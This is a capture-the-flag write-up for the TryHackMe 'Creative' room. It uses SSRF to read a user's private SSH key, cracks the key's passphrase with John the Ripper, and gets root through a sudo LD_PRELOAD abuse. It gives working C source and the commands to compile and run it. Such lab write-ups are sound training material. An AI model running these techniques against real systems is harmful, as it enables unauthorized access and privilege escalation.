> For the complete documentation index, see [llms.txt](https://bunring.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://bunring.gitbook.io/ctf-writeups/try-hack-me/2024/creative.md).

# Creative

{% embed url="<https://tryhackme.com/r/room/creative>" %}

## Recon

Let's start with a nmap scan.

The Nmap scan results show only two open ports: port `22`, which is running `SSH`, and port `80`, hosting a web server with `nginx version 1.18.0`.

{% code overflow="wrap" %}

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -p- -T4 creative.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 11:48 BST
Host is up (0.17s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 430.03 seconds
                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ nmap -p 22,80 -sC -sV -T4 creative.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-15 11:56 BST
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 11:56 (0:00:06 remaining)
Nmap scan report for creative.thm (10.10.127.96)
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Creative Studio | Free Bootstrap 4.3.x template
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.94 seconds

```

{% endcode %}

Visting the site, it seems to be a webpage for a UI/UX, Web Development and App Design services.<br>

<figure><img src="/files/BO9PK7VCb7l3RO4vtFBP" alt=""><figcaption></figcaption></figure>

Ferox buster didn't reveal any directories worth looking at.\
Subdomain enumeration revealed a subdomain `beta.creative.thm`.

<figure><img src="/files/Acaepl6g4OeJqEU42aCt" alt=""><figcaption></figcaption></figure>

After adding it to /etc/hosts we can visit this site.\
We encounter a beta URL tester that checks if a provided URL is live or dead. If the URL is live, we get redirected to the corresponding page. This setup appears to be vulnerable to Server-Side Request Forgery (SSRF) exploitation.<br>

<figure><img src="/files/3TZfCrLBKhthwW9mx6PV" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dVXZd2Sb9yoWe90sWAAE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/WXdpQfiGrh0HAYYIT94A" alt=""><figcaption></figcaption></figure>

We can utilize `Ffuf` for port scanning by generating a port list using the `seq` command. After a short duration, we identify port `1337`. The scan pauses briefly on port `5000`, likely due to the presence of `beta.creative.thm` internally, causing a recursive call delay. However, the scan resumes shortly afterward.

<figure><img src="/files/WHJDsLKkUovSYoijuXHk" alt=""><figcaption></figcaption></figure>

Requesting the endpoint on `1337:`

```
http://127.0.0.1:1337/
```

<figure><img src="/files/pld9KpjPQJnACe3KuC2e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MmIgbOai0fLZ45G3Rps0" alt=""><figcaption></figcaption></figure>

We make a request to the home directory and find a directory called `saad`. Which has `user.txt`.&#x20;

<figure><img src="/files/m7CUrvZ3DfI4z5Yh86sq" alt=""><figcaption></figcaption></figure>

## Initial Access

We can also find the private SSH key of `saad` in the `.ssh` folder.

```
http://127.0.0.1:1337/home/saad/.ssh/id_rsa
```

<figure><img src="/files/JXFWZh4zxWm8tT2b3dU8" alt=""><figcaption></figcaption></figure>

After saving the key and adjusting permissions accordingly, we attempt to log in via SSH as Saad. However, we encounter a prompt requesting a passphrase for the SSH key.

<figure><img src="/files/udP0uSTeBFMi2n6cHHoh" alt=""><figcaption></figcaption></figure>

We feed the SSH key into `ssh2john` to produce a hash that can be cracked using John the Ripper.\
Next, we crack the hash using `John` with `rockyou.txt`, and get the passphrase for the key.

```bash
┌──(kali㉿kali)-[~/Desktop/THM/creative]
└─$ ssh2john id_rsa > id_rsa.hash  
                                                                
┌──(kali㉿kali)-[~/Desktop/THM/creative]
└─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
```

<figure><img src="/files/tPlyZqhqMKD15UF0Yinp" alt=""><figcaption></figcaption></figure>

With the passphrase obtained, we successfully log in and gain access as the user `Saad`. In the user's home directory, we locate the first flag, which was previously accessible via the `beta.creative.thm` website.

<figure><img src="/files/7Nr28kxl3FKlbqXP8Z8s" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

`sudo -l` asks for a password, however while enumerating the user's home directory, we discover a `.bash_history` file containing valuable content. This file holds the credentials for the user `Saad`.

<figure><img src="/files/ANclLPx3dfUNdqakw5qE" alt=""><figcaption></figcaption></figure>

With the obtained credentials, we successfully query `sudo -l`. We find that we have permission to run `/usr/bin/ping` with sudo privileges. However, this alone does not provide a straightforward path for privilege escalation.

Fortunately for us, there's another option available: `env_keep+=LD_PRELOAD`.

`LD_PRELOAD` is an environment variable commonly used on Unix-like systems to preload shared libraries before others when a program is executed. This enables overriding functions in other shared libraries.

If an attacker can manipulate `LD_PRELOAD` to reference a malicious shared library, and if this environment variable is preserved when running commands with sudo, it presents an avenue for executing arbitrary code with elevated privileges.

We make use of a provided resource containing a previously mentioned shared library written in C. This library incorporates a function designed to elevate privileges to root by setting the user and group IDs to zero and spawning a shell. This effectively grants root shell access to the user.

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

{% code title="shell.c" lineNumbers="true" %}

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/sh");
}
```

{% endcode %}

We compile the `C` code into a shared library.

```bash
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
```

Next, we execute the ping command with sudo privileges while setting `LD_PRELOAD` to the previously crafted shared library. This allows us to obtain a root shell, granting us access to extract the root flag located at `/root`.

```bash
sudo LD_PRELOAD=/tmp/shell.so /usr/bin/ping
```

<figure><img src="/files/IZlM5RW2Y1M4oQnmBddR" alt=""><figcaption></figcaption></figure>


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